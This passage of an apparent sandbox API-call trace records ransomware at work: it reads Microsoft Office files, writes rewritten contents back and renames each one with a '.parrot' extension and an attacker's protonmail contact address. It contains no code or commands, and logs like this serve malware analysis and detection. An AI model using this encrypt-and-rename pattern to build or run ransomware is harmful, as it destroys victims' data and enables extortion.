(HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.921] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.921] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.924] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.924] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe65, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xe65, lpOverlapped=0x0) returned 1 [0188.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.924] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0188.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.924] GetLastError () returned 0x0 [0188.925] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.926] WriteFile (in: hFile=0x1b4, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e314*=0xf88, lpOverlapped=0x0) returned 1 [0188.929] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.929] UnlockFile (hFile=0x1b4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf7d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.929] CloseHandle (hObject=0x1b4) returned 1 [0188.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.930] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.930] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0188.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.962] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.962] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.964] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.964] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b3f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3b3f, lpOverlapped=0x0) returned 1 [0188.964] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.965] GetLastError () returned 0x0 [0188.965] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0188.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0188.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31da4f0 [0188.967] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0188.967] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x22e8070 [0188.967] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31da4f0 | out: hHeap=0x5b0000) returned 1 [0188.967] WriteFile (in: hFile=0x260, lpBuffer=0x22e8080*, nNumberOfBytesToWrite=0x3c58, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x22e8080*, lpNumberOfBytesWritten=0x18e314*=0x3c58, lpOverlapped=0x0) returned 1 [0188.970] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e8070 | out: hHeap=0x5b0000) returned 1 [0188.970] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c57, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.970] CloseHandle (hObject=0x260) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.971] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.971] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645b90 | out: hHeap=0x5b0000) returned 1 [0188.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0188.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0188.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x228fd28 [0188.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x2297a90 [0188.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0188.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0188.975] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.975] ReadFile (in: hFile=0x260, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.976] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.976] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x443a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x443a, lpOverlapped=0x0) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0188.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0188.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0188.977] GetLastError () returned 0x0 [0188.978] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0188.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0188.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176fd0 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176fd0 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31d64b0 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0188.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31d9448 [0188.979] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0188.979] WriteFile (in: hFile=0x260, lpBuffer=0x31d9460*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x31d9460*, lpNumberOfBytesWritten=0x18e314*=0x4558, lpOverlapped=0x0) returned 1 [0188.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d9448 | out: hHeap=0x5b0000) returned 1 [0188.982] UnlockFile (hFile=0x260, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4552, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0188.982] CloseHandle (hObject=0x260) returned 1 [0188.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x31a9698 [0188.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x645b90 [0188.982] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a9698 | out: hHeap=0x5b0000) returned 1 [0188.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 